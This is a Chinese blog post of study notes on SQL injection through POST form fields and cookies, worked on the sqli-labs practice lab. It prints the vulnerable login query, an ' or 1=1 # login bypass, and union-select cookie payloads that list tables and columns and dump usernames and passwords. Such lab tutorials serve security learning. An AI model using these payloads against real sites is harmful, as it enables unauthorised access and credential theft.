2021-10-26 SQL从提交方式-优快云博客

本文链接：https://blog.youkuaiyun.com/weixin_44532761/article/details/120980844

本文介绍了SQL注入中POST方式的工作原理，通过sqlilabs的实例展示了如何利用POST注入进行攻击。讨论了GET与POST请求的区别，如数据大小限制、编码处理和可见性，并给出了利用Hackbar进行POST请求的示例，以及如何通过抓包工具进一步分析和获取敏感信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

小迪笔记V14

参数类型：
数字型、字符型、搜索型（%通配符）、Json: 键值对

请求方法：
GET,POST,Request,HTTP头，COOKIE

POST

POST注入通过输入框，例如用户登录，网站留言板块，这些都是通过POST方式发送到服务器。
GET与POST :
GET请求传输的数据比较小,而POST一般不做限制，可以文件上传。
GET请求会经过url编码，而POST不会。
POST不可见，需要抓包。

打开sqlilabs less11
在这里插入图片描述
在输入框中尝试填入闭合：‘ “ ）
输入’报错

查看sql拼接语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

构造闭合语句

用户名输入框：‘ or 1=1 #

or 条件有真为真，所以用户名就算为假，select语句也为真。
在这里插入图片描述
随便输入，看到它的payload

uname=123&passwd=213&submit=Submit

在这里插入图片描述
使用hackbar提交POST

抓包方法

接下来就和GET请求一样获取用户密码…

Cookie
输入admin admin 抓包，加引号测试报错
在这里插入图片描述
引号闭合，测试字段…

显示位
union前面要为假

查询当前数据库所有的表

Cookie: uname=an' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema =database()#

在这里插入图片描述
查看users表里的所有字段

Cookie: uname=an' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users'#

在这里插入图片描述
查看 username password

Cookie: uname=an' union select 1,group_concat(username,0x7e,password),3 from security.users #

在这里插入图片描述

Request
全部接收

…